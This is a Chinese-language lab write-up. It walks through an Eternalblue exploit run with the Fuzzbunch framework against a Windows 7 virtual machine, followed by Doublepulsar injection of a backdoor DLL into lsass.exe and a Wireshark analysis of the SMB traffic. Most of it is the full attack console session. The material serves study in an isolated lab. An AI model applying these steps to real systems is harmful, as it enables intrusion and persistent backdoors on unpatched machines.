IP查询
首先查询靶机和攻击机的IP地址：
靶机：192.168.53.43
攻击机：192.168.53.86
运行fb.py文件实施Eternalblue攻击
运行fb.py脚本
指定攻击目标和log目录
[?] Default Target IP Address [] : 192.168.53.43
[?] Default Callback IP Address [] : 192.168.53.86
[?] Use Redirection [yes] : no
[?] Base Log directory [D:\logs] : C:\logs
[*] Checking C:\logs for projects
Index Project
----- -------
0 fbtest
1 test
2 testsmb
3 testsmb2
4 testsmb3
5 testsmb4
6 Create a New Project
[?] Project [0] : 6
[?] New Project Name : yuxiaohan
[?] Set target log directory to 'C:\logs\yuxiaohan\z192.168.53.43'? [Yes] : y
[*] Initializing Global State
[+] Set TargetIp => 192.168.53.43
[+] Set CallbackIp => 192.168.53.86
[!] Redirection OFF
[+] Set LogDir => C:\logs\yuxiaohan\z192.168.53.43
[+] Set Project => yuxiaohan
发动Eternalblue攻击
fb > use Eternalblue
[!] Entering Plugin Context :: Eternalblue
[*] Applying Global Variables
[+] Set NetworkTimeout => 60
[+] Set TargetIp => 192.168.53.43
[*] Applying Session Parameters
[*] Running Exploit Touches
[!] Enter Prompt Mode :: Eternalblue
Module: Eternalblue
===================
Name Value
---- -----
NetworkTimeout 60
TargetIp 192.168.53.43
TargetPort 445
VerifyTarget True
VerifyBackdoor True
MaxExploitAttempts 3
GroomAllocations 12
Target WIN72K8R2
[!] plugin variables are valid
[?] Prompt For Variable Settings? [Yes] :
[*] NetworkTimeout :: Timeout for blocking network calls (in seconds). Use -1 for no timeout.
[?] NetworkTimeout [60] :
[*] TargetIp :: Target IP Address
[?] TargetIp [192.168.53.43] :
[*] TargetPort :: Port used by the SMB service for exploit connection
[?] TargetPort [445] :
[*] VerifyTarget :: Validate the SMB string from target against the target selected before exploitation.
[?] VerifyTarget [True] :
[*] VerifyBackdoor :: Validate the presence of the DOUBLE PULSAR backdoor before throwing. This option must be enabled for multiple exploit attempts.
[?] VerifyBackdoor [True] :
[*] MaxExploitAttempts :: Number of times to attempt the exploit and groom. Disabled for XP/2K3.
[?] MaxExploitAttempts [3] :
[*] GroomAllocations :: Number of large SMBv2 buffers (Vista+) or SessionSetup allocations (XK/2K3) to do.
[?] GroomAllocations [12] :
[*] Target :: Operating System, Service Pack, and Architecture of target OS
0) XP Windows XP 32-Bit All Service Packs
*1) WIN72K8R2 Windows 7 and 2008 R2 32-Bit and 64-Bit All Service Packs
[?] Target [1] :
[!] Preparing to Execute Eternalblue
[*] Mode :: Delivery mechanism
*0) DANE Forward deployment via DARINGNEOPHYTE
1) FB Traditional deployment from within FUZZBUNCH
[?] Mode [0] : 1
[+] Run Mode: FB
[?] This will execute locally like traditional Fuzzbunch plugins. Are you sure? (y/n) [Yes] :
[*] Redirection OFF
[+] Configure Plugin Local Tunnels
[+] Local Tunnel - local-tunnel-1
[?] Destination IP [192.168.53.43] :
[?] Destination Port [445] :
[+] (TCP) Local 192.168.53.43:445
[+] Configure Plugin Remote Tunnels
Module: Eternalblue
===================
Name Value
---- -----
DaveProxyPort 0
NetworkTimeout 60
TargetIp 192.168.53.43
TargetPort 445
VerifyTarget True
VerifyBackdoor True
MaxExploitAttempts 3
GroomAllocations 12
ShellcodeBuffer
Target WIN72K8R2
[?] Execute Plugin? [Yes] :
[*] Executing Plugin
[*] Connecting to target for exploitation.
[+] Connection established for exploitation.
[*] Pinging backdoor...
[+] Backdoor returned code: 10 - Success!
[+] Ping returned Target architecture: x64 (64-bit)
[+] Backdoor is already installed -- nothing to be done.
[*] CORE sent serialized output blob (2 bytes):
0x00000000 08 01 ..
[*] Received output parameters from CORE
[+] CORE terminated with status code 0x00000000
[+] Eternalblue Succeeded
使用Doublepulsar
fb Special (Eternalblue) > use Doublepulsar
[!] Entering Plugin Context :: Doublepulsar
[*] Applying Global Variables
[+] Set NetworkTimeout => 60
[+] Set TargetIp => 192.168.53.43
[*] Applying Session Parameters
[!] Enter Prompt Mode :: Doublepulsar
Module: Doublepulsar
====================
Name Value
---- -----
NetworkTimeout 60
TargetIp 192.168.53.43
TargetPort 445
OutputFile
Protocol SMB
Architecture x86
Function OutputInstall
[!] Plugin Variables are NOT Valid
[?] Prompt For Variable Settings? [Yes] :
[*] NetworkTimeout :: Timeout for blocking network calls (in seconds). Use -1 for no timeout.
[?] NetworkTimeout [60] :
[*] TargetIp :: Target IP Address
[?] TargetIp [192.168.53.43] :
[*] TargetPort :: Port used by the Double Pulsar back door
[?] TargetPort [445] :
[*] Protocol :: Protocol for the backdoor to speak
*0) SMB Ring 0 SMB (TCP 445) backdoor
1) RDP Ring 0 RDP (TCP 3389) backdoor
[?] Protocol [0] :
[*] Architecture :: Architecture of the target OS
*0) x86 x86 32-bits
1) x64 x64 64-bits
[?] Architecture [0] : 1
[+] Set Architecture => x64
[*] Function :: Operation for backdoor to perform
*0) OutputInstall Only output the install shellcode to a binary file on disk.
1) Ping Test for presence of backdoor
2) RunDLL Use an APC to inject a DLL into a user mode process.
3) RunShellcode Run raw shellcode
4) Uninstall Remove's backdoor from system
[?] Function [0] : 2
[+] Set Function => RunDLL
[*] DllPayload :: DLL to inject into user mode
[?] DllPayload [] :
[*] DllPayload :: DLL to inject into user mode
[?] DllPayload [] : C:\yuxiaohan.dll
[-] Error: Invalid value for 'DllPayload' (C:\yuxiaohan.dll)
[*] DllPayload :: DLL to inject into user mode
[?] DllPayload [] : C:\backdoor.dll
[+] Set DllPayload => C:\backdoor.dll
[*] DllOrdinal :: The exported ordinal number of the DLL being injected to call
[?] DllOrdinal [1] :
[*] ProcessName :: Name of process to inject into
[?] ProcessName [lsass.exe] :
[*] ProcessCommandLine :: Command line of process to inject into
[?] ProcessCommandLine [] :
[!] Preparing to Execute Doublepulsar
[*] Redirection OFF
[+] Configure Plugin Local Tunnels
[+] Local Tunnel - local-tunnel-1
[?] Destination IP [192.168.53.43] :
[?] Destination Port [445] :
[+] (TCP) Local 192.168.53.43:445
[+] Configure Plugin Remote Tunnels
Module: Doublepulsar
====================
Name Value
---- -----
NetworkTimeout 60
TargetIp 192.168.53.43
TargetPort 445
DllPayload C:\backdoor.dll
DllOrdinal 1
ProcessName lsass.exe
ProcessCommandLine
Protocol SMB
Architecture x64
Function RunDLL
[?] Execute Plugin? [Yes] :
[*] Executing Plugin
[+] Selected Protocol SMB
[.] Connecting to target...
[+] Connected to target, pinging backdoor...
[+] Backdoor returned code: 10 - Success!
[+] Ping returned Target architecture: x64 (64-bit) - XOR Key: 0x0614A5FC
SMB Connection string is: Windows 7 Ultimate 7600
Target OS is: 7 x64
Target SP is: 0
[+] Backdoor installed
[+] DLL built
[.] Sending shellcode to inject DLL
[+] Backdoor returned code: 10 - Success!
[+] Backdoor returned code: 10 - Success!
[+] Backdoor returned code: 10 - Success!
[+] Backdoor returned code: 10 - Success!
[+] Command completed successfully
[+] Doublepulsar Succeeded
fb Payload (Doublepulsar) >
抓包分析
由于wireshark可以抓包的网卡接口要求，因此需要重新改变网络适配，设置成仅主机模式。
Vmnet1用于实现Host-only连接方式，这种方式下，虚拟主机会与真实主机在同一个虚拟私网中。真实主机在这个私网中使用Vmnet1网卡，而非真实的物理网卡，Vmware会有一个虚拟的不可见的交换机连接真实主机和各个使用Host-only方式的虚拟机，这样就组成一个小的虚拟局域网。
重复上述步骤，重新查找并设置攻击机与靶机IP即可
抓包如下：
追踪TCP流，重组后更易观察：
第三行给出主机名：T.E.S.T.-.P.C.
第六行给出主机系统及版本：W.i.n.d.o.w.s. .7. .U.l.t.i.m.a.t.e. .7.6.0.0...W.i.n.d.o.w.s. .7. .U.l.t.i.m.a.t.e.
第七行给出工作组名：6...1...W.O.R.K.G.R.O.U.P..
第七行也给出匿名共享管道开启：.@....^.....3....1.9.2...1.6.8...2.3...1.2.9..I.P.C.$...?????.
第十行给出SMB协议版本：.#.SMB2..